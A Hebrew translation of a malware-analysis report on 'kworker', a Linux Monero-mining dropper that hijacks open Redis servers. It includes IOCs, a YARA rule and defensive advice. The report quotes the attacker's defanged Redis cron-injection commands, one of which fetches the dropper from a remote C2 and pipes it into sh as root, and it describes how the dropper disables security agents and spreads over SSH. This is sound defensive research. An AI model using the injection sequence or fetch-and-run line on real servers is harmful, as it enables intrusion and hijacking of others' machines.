עמוד זה הוא תרגום. הגרסה האנגלית היא הנוסח המחייב. לקריאה באנגלית
malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: כורה המטבעות שמביא איתו את מסיר ההתקנה שלו
Kinryū Labs תפסה כורה מטבעות משושלת 8220 הופך פורט Redis פתוח וללא סיסמה למעטפת root בתוך כחמש שניות. הדרופר, סקריפט מעטפת בן 636 שורות בשם kworker, מסיר את סוכני אבטחת הענן של Alibaba ושל Tencent באמצעות הכלים של היצרנים עצמם, מקדיש 200 שורות לחיסול כורים מתחרים, פותח דלת אחורית ב-SSH, מסתיר כורה Monero מסוג XMRig מאחורי ps, top ו-pstree מזויפים, ומנסה להתפשט הלאה.
מאת Davis Zheng·
TLP:CLEAR. אושר לפרסום ציבורי. נתפס על ידי רשת חיישני ה-honeypot של Kinryū Labs. האינדיקטורים שלהלן מנוטרלים.
תקציר מנהלים
- ~5sמפורט Redis פתוח לארבע דלתות אחוריות ב-cron של root
- 636שורות bash, ערכה מלאה להשתלטות על מאחסן
- 2מסירי התקנה של יצרנים, נשואים בתוכו בקידוד base64
- 80+כורים מתחרים ברשימת החיסול
בשש דקות אחרי חצות לפי UTC, משהו פתח חיבור אל פורט Redis באחד ה-honeypots שלנו, הריץ INFO בודד כדי לראות עם מה הוא מדבר, והתנתק. שתי שניות לאחר מכן הוא חזר וניגש לעבודה. עד שהתנתק, חמש שניות בסך הכול, הוא שכתב את טבלת ה-cron של השרת בארבע דרכים שונות והפנה כל אחת מהן לאותו קובץ: סקריפט מעטפת בשם kworker.
מעולם לא נתנו לו לרוץ. הסקריפט לא הורץ; מה שבידינו הוא הסקריפט עצמו ורצף הפקודות של התוקף. כך שמה שנותר לנו הוא הסקריפט במלואו, כל 636 השורות, ורצף הפקודות המלא של התוקף. בקריאה משולבת הם מספקים חתך נקי של המקום שאליו הגיעה כריית מטבעות פרוצה ב-Linux בשנת 2026, ו-kworker הוא פריט מעבדה טוב, מפני שהוא עושה כמעט כל מה שהסוגה הזו המציאה מעולם. הוא גם עושה דבר אחד בפרצוף חסר הבעה לחלוטין: הוא מסיר את האנטי-וירוס שלכם באמצעות מסיר ההתקנה של יצרן האנטי-וירוס עצמו.
- כריית מטבעות פרוצה משושלת 8220 Gang / kworkerds, הזדמנותית ולא ממוקדת (ביטחון בינוני). ההעברה דרך Redis, כלי ההורדה ששמם הוחלף, קובץ הנעילה
/etc/javaeורשימת החיסול הענקית הם כולם סימני היכר של המשפחה. אנו נשארים ברמת ביטחון בינונית, ולא למעלה מכך, מפני שמדובר בקוד מסועף ונפוץ שחבורות מעבירות ביניהן ומוכרות מחדש, ולכן השם מצביע על שושלת ולא על מחבר יחיד. - המטרה היא כריית Monero (ביטחון גבוה). כל תכליתו של הסקריפט היא להביא ולהפעיל את
javae, גרסת בנייה של XMRig, לאחר הפעלת huge pages לטובתו. כל השאר קיים כדי לפנות את השדה ולהחזיק במאחסן. - תוכנה בוגרת ומשומשת היטב, לא פרויקט סוף שבוע של מישהו (ביטחון גבוה). שורות ה-cron של הפריצה עצמה קוראות ל-
cd1ול-wd1, כלים שקיימים רק אחרי ש-kworker מותקן. הערכה מניחה את עצמה מראש, וזה סימנו של קוד שנמצא במחזור זמן מה. - היעדר הארנק מכוון (ביטחון גבוה). הסקריפט אינו מכיל כתובת Monero ואינו מכיל בריכה; שניהם שוכנים בקובץ הבינארי של הכורה, שלא שוחזר בידינו. הפרט האחד שהיה קושר בין קמפייני החבורה הזו הוא בדיוק זה שהם מקפידים להשאיר מחוץ לסקריפט, אותו קיר שנתקלנו בו בRedTail.
FLUSHALL, ואחר כך ארבע דרכים אל cron
Redis שנותר חשוף לאינטרנט בלי סיסמה הוא מעטפת root בשורה אחת מזה שנים, והטכניקה כאן היא הוותיקה והאמינה. מגדירים מפתח בבסיס הנתונים שערכו הוא עבודת cron. מורים ל-Redis לשמור את בסיס הנתונים שלו לתוך תיקיית cron. קוראים ל-SAVE. Redis כותב את בסיס הנתונים שלו לדיסק, ובכלל זה עבודת ה-cron המזויפת שלכם, ודקה אחר כך cron מריץ אותה כ-root. האורח שלנו לקח טביעת אצבע של השרת, בדק שהוא יכול לכתוב קובץ, כיבה את מנגנון הבטיחות שעוצר שמירה שנכשלה, והריץ את התרגיל.
# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
כל החדירה נכנסת לתוך קומץ שניות:
- 00:06:00 UTCהתחברות, שליחת
INFOבודד לצורך טביעת אצבע של השרת, התנתקות. - +2 שניותהתחברות מחדש. הגדרת ארבעה מפתחות, כל אחד מחזיק שורת cron.
CONFIG SET dirאל תיקיית cron,CONFIG SET dbfilenameאל קובץ ה-cron המיועד, כיבוי stop-writes-on-bgsave-error, ואזSAVE. - +5 שניות בסך הכולהתנתקות. ארבע דלתות אחוריות ב-cron נשתלו, כולן מפנות אל `kworker`.
- +דקה אחתבמאחסן אמיתי, cron מריץ את השורה שנשתלה כ-root ומוריד את
kworker.
מה שכדאי להאט בשבילו הוא הכפילות. הוא לא כתב עבודת cron אחת; הוא כתב את אותה הוראה לתוך ארבעה מקומות, /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae ו-/etc/crontab, וכיסה בכך גם את מבנה Red Hat וגם את מבנה Debian, וגם את שני התחבירים של cron. כל שורה הורידה את kworker בכלי אחר, cd1, wget, curl, wd1, בלוח זמנים מדורג של שתי, שלוש, ארבע וחמש דקות. שניים מהשמות האלה אינם תוכניות אמיתיות. cd1 ו-wd1 הם השמות ש-kworker נותן ל-curl ול-wget לאחר שהוא מותקן. הפריצה מניחה מראש את הסקריפט שהיא עומדת להוריד. כל הערכה עקבית פנימית, וכך יודעים שמדובר בתוכנה בוגרת ומשומשת היטב ולא בפרויקט סוף שבוע של מישהו.
הבא איתך את מסיר ההתקנה שלך
ברגע שיש לו root, kworker מתחיל לפרק את הבניין. חומת האש מנוקה, ufw מכובה, SELinux מורד ל-permissive ואחר כך מושבת בקובץ התצורה שלו, AppArmor נעצר, ושומר ה-NMI של הליבה מכובה, מה שחשוב מפני שכורה מרתק את המעבד למאה אחוז לשבועות, ושומר ה-NMI הוא אחד הדברים המעטים שעשויים לשים לב. /var/log/syslog נמחק כליל.
אחר כך הוא יוצא לחפש סוכני אבטחת ענן, וכאן הסקריפט מפסיק להיות רגיל. ספקי הענן הסיניים הגדולים מספקים סוכן מאחסן במכונות הווירטואליות שלהם: Aegis של Alibaba, שתראו רץ בשם AliYunDun; YunJing של Tencent; HostGuard של Huawei. kworker בודק את קיומו של כל אחד מהם. במקום שבו הוא מוצא את זה של Alibaba, הוא לא סתם הורג את התהליך. הוא מריץ את מסיר ההתקנה הרשמי של Alibaba, וכדי להבטיח שזה יעבוד גם במכונה שאין לה נתיב חזרה אל Alibaba, הוא נושא שניים ממסירי ההתקנה של Alibaba בתוך עצמו בקידוד base64. פענחנו את שניהם. הם המוצר האמיתי, כולל פירוק מעקב kprobe וכל היתר.
הוא מסיר את הגנת הקצה שלכם בצורה מסודרת, כפי שהיצרן התכוון, ומשאיר את היומנים מטופחים.
זה לא אילתור. מישהו ישב מול מכונת Aliyun אמיתית, לקח את מסירי ההתקנה, ובנה אותם פנימה.
מלחמת שטח, כתובה ב-bash
אם מעולם לא קראתם סקריפט כזה, מה שמפתיע הוא כמה גדול החלק שבו מכוון נגד עבריינים אחרים. האויב האמיתי של כורה הוא הכורה הבא שמנסה לשכור את אותו מעבד, לא מנהל המערכת. kworker מקדיש בקירוב מאתיים שורות לציד מתחרים, והוא הורג לפי כל ידית שהוא מצליח לאחוז בה.
- לפי שם תהליך, מרשימת חסימה של יותר ממאה:
xmrig,kinsing,kdevtmpfsi, משפחתwatchdogsו-watchbog,ddg,sustes, וה-kworkerdsהוותיק שהשם שלו עצמו נגזר ממנו. - לפי פורט, אלה שעליהם יושבות בריכות כרייה ובוטים של IRC.
- לפי כתובת IP מקובעת בקוד.
- לפי מעבד, הכלי הגס: כל דבר ששורף יותר מ-40 אחוז מהמעבד תחת שם שהוא לא מזהה נהרג, בהיגיון שתהליך לא מזוהה שאוכל מעבד הוא, בהגדרה, כורה מתחרה.
הוא מוחק את קבציהם מתוך /tmp ומתוך /dev/shm, מסיר את עבודות ה-cron שלהם, מסלק את רוטקיטי ה-preload שכמה מהם מתקינים, ומושיט יד אל Docker כדי להרוג ולמחוק אימג’י כרייה מוכרים. זו אותה תפיסת קרקע שתיעדנו בסקריפט clean של RedTail ובkillservice.sh של Rootpacket; כל החבורות האלה נלחמות על אותן מכונות שהוגדרו לא נכון, וכולן פותחות בסחיפה של השדה.
הוא גם, באופן ספציפי וחוזר, גס רוח כלפי TeamTNT, מבטל את החלפות השמות של curl ושל wget ש-TeamTNT מבצעת ומוחק את התיקיות שלה. במקום שבו הוא הורג את Kinsing הוא דורס את הקובץ במילה fuckyou ונועל אותו כדי ש-Kinsing לא יוכל להחזיר את עצמו. אין כאן שום כבוד, רק תפיסת קרקע, ו-kworker משחק אותה בחוזקה יותר מרובם.
קראו את הרשימה מקרוב והיא נהפכת לקטלוג של הדרכים שבהן המתחרים מסתתרים. אשכול אחד של מטרות מתחזה לתהליכי ליבה, kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc; אשכול אחר מתחזה לדימונים של המערכת, polkitd, acpid, dbus-daemon--system, ו-systemctI עם I גדולה במקום שבו אמורה להיות L. kworker צד בדיוק את התחפושות שהיריבים שלו לובשים, ואלה אותן תחפושות שהוא עצמו מושיט אליהן יד כמה שורות אחר כך כשהוא מסתיר את javae בין שמות כמו systemd-network ו-irqbalanced. כל מי שמשתתף בקרב הזה מחופש לרעש מערכת משמים, וכולם שיננו את התחפושת של כולם.
כמה מטרות אינן שמות כלל. אחת מהן היא L2Jpbi9iYXN, תחילת ה-base64 של פקודת /bin/bash. kworker מסנן בעזרת grep את טבלת התהליכים בחיפוש אחר התחילית המקודדת הזו, וכך תופס את המשגר של יריב לפי גוש ה-base64 שיושב בשורת הפקודה שלו.
הרשימה כולה ארוכה, יותר ממאה דרכים לנקוב בשם של תהליך שרוצים במותו, וכדאי לעבור עליה פעם אחת ולו רק כדי לחוש את מרקם הסכסוך:
רשימת החיסול המלאה, שנשלפה מהסקריפט שנתפס
נלקח מתוך kill_miner_proc, kill_sus_proc וסחיפת ה-Docker. כל מה שמופיע כאן הוא מטרה ש-kworker צד, לא תשתית שלו עצמו. כתובות ה-IP מנוטרלות.
פורטים שעליהם הוא הורג כל תהליך (בריכות כרייה, בוטים של IRC, RATs, SSH ו-Telnet חלופיים): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.
משפחות כורים ובוטנטים מזוהות: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.
יריבים המתחזים לתהליכי ליבה: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.
יריבים המתחזים לדימונים של המערכת: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (i גדולה, לא systemctl), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.
מטענים, סקריפטים וסמני קמפיין נקובים בשם נוספים: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.
משגרים מעורפלים וקבצי תצורה מושלכים: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess והתאומים שלו עם שגיאות הכתיב, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, ובנוסף סמן עריסת ה-base64 L2Jpbi9iYXN (ראשיתה של שורת פקודה /bin/bas...).
כתובות IP של בריכות ושל C2 של מתחרים שהוא יורה בהן במקום: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.
אימג’ים ומכולות Docker שהוא הורג ומוחק: מכולות בשמות pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell; הפניות לאימג’ים pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp.
והכלי הגס: כל דבר מעל 40 אחוז מעבד שאינו תואם ל-javae נהרג, וכך גם כל דבר מעל 10 אחוז ששמו נראה כמו תהליך ליבה בסוגריים מרובעים, כל דבר שרץ מתוך /tmp, וכל תהליך בעל שם ארוך באופן חשוד.
עכשיו אתם לא רואים אותו
לאחר שפינה את השדה, הוא מסתיר את השחקן שלו עצמו. הוא מחליף את ps, את top ואת pstree בעוטפים דו-שורתיים שקוראים לקבצים הבינאריים האמיתיים ומסננים בשקט כל שורה שמזכירה את הכורה (javae) או את הסורק שהוא מביא איתו (pnscan), ואחר כך מתארך את המזויפים אחורה ל-2016 כדי שלא ייראו חדשים. הריצו ps על מכונה נגועה והכורה פשוט אינו ברשימה.
הכורה נקרא ממילא בשם שנועד להיעלם בטבלת תהליכים: javae יושב לצד קבצי נעילה שנשתלו תחת שמות כמו systemd-network, irqbalanced ו-kswaped, שכל אחד מהם נבחר כך שייקרא כרעש מערכת משמים.
מפתח, ודרך אל השכנים
שני מהלכים נוספים משלימים את ההשתלטות.
הוא כותב את מפתח ה-SSH הציבורי של המפעיל, שההערה שלו היא פשוט uc1, לתוך authorized_keys של root והופך את הקובץ לבלתי ניתן לשינוי, כך שלשים לב אליו אינו מספיק; צריך לנקות את סימון ה-immutable לפני שאפשר בכלל למחוק אותו. זו גישה ידנית ששורדת גם לאחר שהכורה ינוקה.
אחר כך הוא מנסה להתפשט. הוא קורא את known_hosts של root, רשימת כל מכונה שהמכונה הזו התחברה אליה, ומנסה להתחבר ב-SSH לכל אחת מהן באמצעות המפתחות שכבר שוכבים על הדיסק, ומריץ שורת פקודה בכל מכונה שמכניסה אותו, שורה שמורידה את kworker מהכתובת החלופית ומתחילה את כל הסיפור מחדש. זו לא תולעת מהירה והיא נסמכת על מפתחות ללא סיסמה שנשארים מפוזרים, אבל במערכים מהסוג שבו הם בדרך כלל נשארים כך, זה בהחלט מספיק.
הכורה, והארנק שלא קיבלנו
על כל המכונות הללו, המרוויח האמיתי משמים: קובץ שני, javae, גרסת בנייה של XMRig שכורה Monero. kworker מפעיל huge pages (vm.nr_hugepages מוגדר ל-128, זירוז תקני של XMRig), משליך את javae לתוך /etc, ומריץ אותו.
כאן נמצא הפער בדוח הזה. אין בידינו javae, ואין בידינו הארנק. הסקריפט אינו מכיל כתובת Monero ואינו מכיל בריכה; אלה אפויים לתוך הקובץ הבינארי של הכורה, שנשלף בזמן ריצה, וה-C2 לא הגיש אותו לאף אחת מארגזי החול הציבוריים שבחנו את הדגימה הזו, ולכן אין מה לפרק באופן פסיבי. כל מי שמנתח את kworker לבדו נתקל באותו קיר. הארנק הוא הדבר האחד שהיה קושר בין קמפייני החבורה הזו, והוא בדיוק הדבר שהם מקפידים להשאיר מחוץ לסקריפט.
מאוחסן ב-Cloudflare, במכוון
גם הסקריפט וגם הכורה מגיעים מ-download.logltech[.]workers[.]dev, כתובת Cloudflare Workers, וזו בחירה מכוונת. Workers היא חינמית, היא HTTPS כברירת מחדל, היא שואלת את המוניטין של Cloudflare ולכן חולפת בשלום מעל רשימות חסימה של דומיינים, והיא מסתירה את המקור שהמפעיל אכן שולט בו. כל כתובת של מטען נפתרת אל Cloudflare; המקור האמיתי של המפעיל אינו נחשף לעולם.
הערוץ החלופי, שבו התולעת משתמשת, הוא tutorial.clashverge[.]space, שנרשם בסוף פברואר. כל כתובת IP אחרת שמקובעת בקוד הסקריפט שייכת למתחרה שהוא רוצה במותו, מפוזרת על מכונות Vultr, OVH ו-DigitalOcean ומאחסן Alibaba Cloud אחד בהנגז’ואו, ולא למפעיל הזה כלל. קראו את כתובות ה-IP המקובעות בקוד כרשימת מטרות, לא כתשתית.
של מי זה?
בזהירות, אם כך. מדובר בכריית מטבעות פרוצה מן השושלת שמתויקת בדרך כלל תחת 8220 Gang, או kworkerds. כל הסימנים נוכחים: ההעברה בהזרקת cron דרך Redis, החלפת השם של curl ל-cd1, קובץ הנעילה /etc/javae, מפיץ ה-pnscan, רשימת החיסול העצומה. מנועי האנטי-וירוס אינם מצליחים להסכים על שם, וזו עצמה הנקודה. ClamAV קורא לזה Rocke, Rising מתייג TeamTNT, והשאר סתם אומרים CoinMiner. הסקריפטים האלה מועתקים, ממוזגים ונמכרים מחדש בקרב חצי תריסר חבורות, ו-kworker הורג כמה מן המשפחות שהוא קרוב אליהן.
התייחסו למשפחה כאל שכונה, לא כאל טביעת אצבע.
ההתמקדות בסוכני הענן הסיניים, ואח PowerShell ל-Windows ש-VirusTotal קושר לאותה דגימה, משלימים את התמונה, אבל ההצהרה הבטוחה היא הצנועה. מסועף ונפוץ, בעל מוטיבציה כספית, לא ממוקד ולא חדש. ביטחון בינוני, ובנוח שם.
אינדיקטורים לחדירה
רשת
| אינדיקטור | הקשר |
|---|---|
download.logltech[.]workers[.]dev | C2 (ראשי), Cloudflare Workers. מגיש את /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | C2 (חלופי), בשימוש התולעת. נרשם ב-27 בפברואר 2026 |
170.9.225[.]197 | כתובת IP מקורית שפגעה ב-honeypot של Redis |
מאחסן *.workers.dev + GET תחת /up/down/api/ | תבנית שליפת מטען שראויה לבדיקה יסודית בתעבורה |
קבצים (SHA-256 / MD5)
| קובץ | SHA-256 | MD5 |
|---|---|---|
kworker (דרופר) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (כורה XMRig) | לא שוחזר, צפוי 5,685,096 בתים |
מפתח הדלת האחורית ב-SSH: הערה uc1, טביעת אצבע של המפתח הציבורי SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. חפשו אותו ב-authorized_keys בכל המערך.
עקבות על המאחסן
| נתיב | הקשר |
|---|---|
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae} | קבצים שהושלכו |
/usr/bin/cd1 (היה curl), /usr/bin/wd1 (היה wget) | כלי הורדה ששמם הוחלף |
/bin/ps.original, /bin/top.original, /bin/pstree.original | הקבצים הבינאריים האמיתיים שנשמרו מאחורי עוטפים נגועים |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | קבצי נעילת שם בלתי ניתנים לשינוי, בגודל ספרה אחת |
vm.nr_hugepages = 128 | huge pages הופעלו עבור XMRig |
התנהגותי
ps,topאוpstreeשהם בפועל סקריפט מעטפת המצנר דרךgrep -v.authorized_keysשלא אתם כתבתם, שמסתיים בהערהuc1.- עבודות cron שמריצות
sh /etc/kworkerאוsh /tmp/kworker, ו-/etc/cron.d/javaeשלא אמור להתקיים. - קבצים בלתי ניתנים לשינוי בגודל ספרה אחת ב-
/usr/bin/kswapedוחבריו. curlו-wgetששמם הוחלף ל-cd1ול-wd1.vm.nr_hugepagesשהוגדר בשקט ל-128.
גילוי
הסימנים המסגירים בצד המאחסן רועשים ברגע שמכירים אותם, והם מפורטים למעלה. בתעבורה, כל דבר שפותר מאחסן *.workers.dev ומבקש נתיבים תחת /up/down/api/ ראוי לבדיקה יסודית. להלן חוק YARA שמופעל על המחרוזות היציבות. הוא נושא את המחרוזות החיות במכוון, לצורכי גילוי.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
מה זה אמור לשנות
שום דבר מכל זה אינו מתוחכם, וזה הלקח. kworker נכנס מפני שפורט Redis היה פתוח בלי סיסמה, טעות משנת 2018 שעדיין משתלמת ב-2026. כל מה שבא לאחר מכן, הסרת ה-EDR והרוטקיט והתולעת, היה חשוב רק מפני שדלת הכניסה לא הייתה נעולה.
- אין לחשוף Redis, או כל מאגר נתונים, לאינטרנט, ויש לדרוש ממנו אימות. התייחסו לשירות פתוח אחד כאל פריצה לכל המאחסן, ולא כאל פריצה לשירות בודד.
- עקבו אחרי cron ואחרי
authorized_keysכמו אחרי קוד ייצור, מפני שמבחינת תוקף זה בדיוק מה שהם. - אל תתייחסו לסוכן הענן שעל המכונה כאל רשת ביטחון. האינסטינקט הראשון של kworker היה לצעוד אליו ולהסיר אותו, בנימוס, בכלים של היצרן עצמו.
מיפוי MITRE ATT&CK
| טקטיקה | טכניקה |
|---|---|
| גישה ראשונית | T1190 Exploit Public-Facing Application (Redis) |
| הרצה | T1059.004 Unix Shell |
| התמדה | T1053.003 Cron; T1098.004 SSH Authorized Keys |
| התחמקות מהגנות | T1562.001 Impair Defenses: Disable or Modify Tools (הסרת סוכן ענן ו-EDR); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (ps/top/pstree נגועים); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (מזויפים עם תיארוך לאחור) |
| גישוש | T1057 Process Discovery (ציד יריבים); T1518.001 Security Software Discovery (סוכני ענן); T1046 Network Service Scanning (pnscan) |
| תנועה רוחבית | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| שליטה ובקרה | T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer |
| השפעה | T1496 Resource Hijacking (כריית Monero) |
מתודולוגיה והערות אנליסט
- הניתוח היה סטטי ופסיבי. הדרופר לא הורץ מעולם ולא נוצר מעולם קשר עם תשתית של התוקף. הממצאים נובעים מקריאת הסקריפט שנתפס, בן 636 השורות, במלואו, מפענוח מסירי ההתקנה המשובצים בקידוד base64, ומסקירת מפגש ה-Redis שהוקלט.
- האינדיקטורים שלעיל מנוטרלים. חוק ה-YARA מכיל את המחרוזות החיות מתוך כוונה, לצורכי גילוי.
- אין בידינו את כורה שלב 2 (
javae) ולא את ארנק ה-Monero. הסקריפט אינו נושא אף אחד מהם; שניהם שוכנים בקובץ הבינארי של הכורה, שנשלף בזמן ריצה ושה-C2 לא הגיש לארגזי חול ציבוריים. שחזור הארנק היה דורש הרצה חיה עם לכידת תעבורה, שלא ביצענו. - דגימות (הדרופר ומסירי ההתקנה המפוענחים) זמינות לחוקרים ולמגנים אחרים לפי בקשה. שלחו דוא”ל אל contact@kinryu.sh בצירוף הערה קצרה על זהותכם ועל מה שאתם זקוקים להן לשמו.